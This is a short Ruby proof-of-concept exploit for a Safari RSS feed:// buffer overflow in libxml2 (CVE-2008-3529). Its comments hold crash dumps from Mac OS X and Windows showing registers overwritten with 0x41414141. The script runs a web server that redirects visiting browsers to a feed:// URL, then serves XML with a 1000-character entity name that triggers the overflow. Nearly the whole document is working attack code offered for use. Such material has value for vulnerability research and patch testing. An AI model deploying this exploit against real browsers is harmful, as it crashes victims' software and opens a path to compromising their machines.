Safari RSS feed:// Buffer Overflow

`#!/usr/bin/ruby  
#  
# Quick-n-dirty PoC for APPLE-SA-2009-05-12 ala CVE-2008-3529  
# Safari RSS feed:// buffer overflow via libxml2 by KF of Digitalmunition and Netragard   
# http://www.digitalmunition.com , http://www.netragard.com  
#   
# The application PubSubAgent quit unexpectedly.  
#  
# Process: PubSubAgent [3764]  
# Path: /System/Library/Frameworks/PubSub.framework/Versions/A/Resources/PubSubAgent.app/Contents/MacOS/PubSubAgent  
# Identifier: PubSubAgent  
# Version: ??? (???)  
# Code Type: X86 (Native)  
# Parent Process: launchd [282]  
#  
# Date/Time: 2008-10-31 15:31:41.355 -0400  
# OS Version: Mac OS X 10.5.5 (9F33)  
# Report Version: 6  
#  
# Exception Type: EXC_BAD_ACCESS (SIGSEGV)  
# Exception Codes: KERN_INVALID_ADDRESS at 0x0000000005050500  
#  
# Thread 0 crashed with X86 Thread State (32-bit):  
# eax: 0x41414141 ebx: 0x94580535 ecx: 0x00136150 edx: 0x05050500  
# edi: 0x00007000 esi: 0x00100000 ebp: 0xbfffe298 esp: 0xbfffe220  
# ss: 0x0000001f efl: 0x00010206 eip: 0x94580605 cs: 0x00000017  
# ds: 0x0000001f es: 0x0000001f fs: 0x00000000 gs: 0x00000037  
# cr2: 0x05050500  
#  
# On Windows libxml2.dll provides all the fun since there is no PubSubAgent  
#   
# EAX 0131FB10 ASCII "AAAAAAAAAAA..."  
# ECX 003D0270  
# EDX 00000000  
# EBX 41414141  
# ESP 030FE6FC  
# EBP 030FE918  
# ESI 0131FB08 ASCII "AAAAAAAAAAA..."  
# EDI 41414141  
# EIP 7C919084 ntdll.7C919084  
#   
# 7C919084 8B0B MOV ECX,DWORD PTR DS:[EBX]  
# 7C919086 3B4F 04 CMP ECX,DWORD PTR DS:[EDI+4]  
  
  
require 'webrick'  
include WEBrick  
  
# Thats right... no one is taking on water, this is public info (and has been for a while)!  
# https://bugzilla.redhat.com/attachment.cgi?id=315480  
  
XML_LOVE =  
'<?xml version="1.0"?>' + "\n" +  
'<!DOCTYPE longentity [' + "\n" +  
'<!ELEMENT longentity (#PCDATA)>' + "\n" +  
'<!ENTITY ' +  
"A" * 1000 + " " +  
'"ha"> ]>' + "\n" +  
'<longentity location="&' +  
"A" * 1000 +  
';">text</longentity>' + "\n"  
  
REDIR_LOVE =  
'<meta http-equiv="REFRESH" content="0;url=feed://' + ARGV[0] + '/pwn">'  
  
s = HTTPServer.new( :Port => 80 )  
  
class REDIRECT < HTTPServlet::AbstractServlet  
def do_GET(req, res)  
res.body = REDIR_LOVE  
res['Content-Type'] = "text/html"  
end  
end  
  
class XMLLOVER < HTTPServlet::AbstractServlet  
def do_GET(req, res)  
res.body = XML_LOVE  
res['Content-Type'] = "text/xml"  
end  
end  
  
s.mount("/", REDIRECT)  
s.mount("/pwn", XMLLOVER)  
  
trap("INT"){ s.shutdown }  
s.start  
  
  
`